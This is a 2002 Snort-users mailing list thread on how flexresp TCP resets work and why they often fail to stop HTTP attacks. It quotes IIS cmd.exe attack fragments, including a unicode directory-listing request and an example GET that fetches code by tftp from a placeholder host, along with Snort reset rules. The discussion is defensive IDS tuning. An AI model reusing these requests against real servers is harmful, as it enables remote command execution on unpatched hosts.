Snort mailing list archives

Previous By Date Next
Previous By Thread Next

RE: Snort+flexresp

From: "Ronneil Camara" <ronneilc () remingtonltd com>
Date: Tue, 26 Mar 2002 10:29:22 -0600
Hi guys,

I've actually implemented this. But I've noticed that it's not quicky.
I'm running it on a FreeBSD-STABLE 4.5. And then I tried to hit one
of our IIS webserver which is not patched, I was able to see a dir listing.

It was successful when I changed my u n i c o d e  parameter as /c+dir+c:\+/s

That's when my session got teared down but I've already seen some of the listings.

On the first one, /c+dir, I can see
my snorts sends a R using tcpdump but was not able to really tear it.

So what would be the appropriate approach now for this?

Thank you very much.

Neil


-----Original Message-----
From: Bamm Visscher [mailto:bamm () satx rr com]
Sent: Tuesday, March 26, 2002 7:29 AM
To: Jeff Nathan
Cc: Sonika Malhotra; Snort
Subject: Re: [Snort-users] Snort+flexresp


Jeff,

Thanks for the explanation about how flex-resp works. 
Although to me it
seems you mixed "how it works" with "when/how to use it" and 
I disagree
with some of your assertions. You seem to imply that 
flex-resp will only
work with content based signatures. That is where I disagree. For
example, rules like these:

alert tcp 192.168.1.1 any <> any any (msg: "LOCAL Attempted 
session from
perp."; flags:!R; resp:rst_all;)

and

alert tcp any any <> 10.1.1.1 1524 (msg: "LOCAL Attempted session to
perps backdoor."; flags:!R; resp:rst_all;)

will attempt kill any session to/from the "bad guy" or his 
backdoor, and
as long as the protocol is "reset friendly" (ie ssh, FTP, 
SMTP, most tcp
backdoors, etc), it will be very successful.

Why would anyone use a rule like this? Because in some organizations
(MSSPs, larger companies, etc), the individuals doing network security
monitoring aren't necessarily handling the management of the
firewalls/routers. With flex-resp, the analyst who detect a successful
compromise can institute some type of "protection" until those
responsible for the compromised system and/or the engineers 
responsible
for FW management can be contacted and they can take the appropriate
actions.

Bammkkkk

On Mon, 2002-03-25 at 18:49, Jeff Nathan wrote:

Hi snortees,

I suppose it's time for a little tour of how flexresp is designed to
work.

First off, flexresp is not designed to reset new TCP 

connections to a

particular port outright.  It's actually designed to be 

employed with

signatures containing a *pattern* such that when a snort signature
matches a packet on the wire a response is generated.

With TCP, calculating ACK numbers is a function of acknowledging the
bytes already received by the IP stack as well as any TCP flags that
must be acknowledged and then incrementing the ACK number 

accordingly. 

With that said, flexresp won't properly generate a RST for 

a SYN to a

port, or at least it probably won't be accepted by a client IP stack
(though there's no accounting for broken IP stacks).  It's just not
designed to work that way.

When testing flexresp, your TCP based rules should trigger 

off packets

containing data and not part of the establishment or 

tearing down of a

session.

I hope this helps.

-Jeff


Bamm Visscher wrote:


I apologize for the confusion, I guess I should of 

elaborated more. I

did not mean to imply content rules do not "work" with 

flex-resp. You

can create any rule with any option and resp will "work". 

By "work", I

mean the reset(s)/ICMP error messages will be created by 

snort and sent

on the wire. The statement I was trying to make is how 

ineffective flex

response rules can be when used on HTTP traffic. Take the 

following HTTP

session as an example:

attacker:1025 -> target:80 S
attacker:1025 <- target:80 SA
attacker:1025 -> target:80 A
attacker:1025 -> target:80 AP "GET blah/cmd.exe?tftp 

hax0r.net blah"

attacker:1025 <- target:80 AP <HTML>200 Okay</HTML>
attacker:1025 -> target:80 FA
attacker:1025 <- target:80 A
attacker:1025 -> target:80 FA
attacker:1025 <- tartge:80 A

All the important content in this connection is contained 

in a single

packet (as is often the case with HTTP). In order to 

effectively reset

this connection, our reset packet has to reach the target 

box before the

"GET" request. So, using a content based rule probably 

isn't going to

prevent this attack from working. Matter of fact, try 

setting up a rule

to reset all web surfing from your IP (alert tcp YOURIP 

any <> any 80

(msg: "blocking web tfc"; resp:rst_all;)). Now see if you 

can surf the

web. I tried this a while back with snort-1.8.1 and had 

no problems

loading most pages. I tried the same thing later with 

snort-1.8.3 (major

changes to flex-resp) and found that it could sometimes 

prevent the

pages from loading, but not very often (IIRC. If your 

tests differ,

please let me know, I have been known to make mistakes). 

This is no

fault of snort, but a problem with the concept of 

flex-resp (tcp-reset,

etc) and affects all IDSes that employ it.

With that said, I do use flex-resp in a short-term 

incident containment

mode until long term fixes can be put in place. For 

example, once an

intrusion has been identified, I will use flex-resp in an 

effort to

prevent an attacker from doing further damage until the 

affected system

can be taken off-line or a rule blocking the attacker can 

be placed in

the FW/router. This often means sending a reset in response to any
packet sent by the source. Another example is using 

flex-resp to help

prevent the spread of a virus with a content based 

sigature in snort

until the virus signatures on email scrubbers can be updated.

Using flex-resp eats resources, so take the time to find 

out just how

different protocols work (HTTP, FTP, telnet, etc) and 

make sure any

flex-resp rules you create, are going to be effective 

"against" them. If

you want snort to take a more "active" role in preventing 

intrusions, I

suggest you look into hogwash.

Bammkkkk




-- 
http://jeff.wwti.com            (pgp key available)
"Common sense is the collection of prejudices acquired by 

age eighteen."

- Albert Einstein

_______________________________________________
Snort-users mailing list
Snort-users () lists sourceforge net
Go to this URL to change user options or unsubscribe:
https://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users




_______________________________________________
Snort-users mailing list
Snort-users () lists sourceforge net
Go to this URL to change user options or unsubscribe:
https://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users



_______________________________________________
Snort-users mailing list
Snort-users () lists sourceforge net
Go to this URL to change user options or unsubscribe:
https://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users
Previous By Date Next
Previous By Thread Next

Current thread: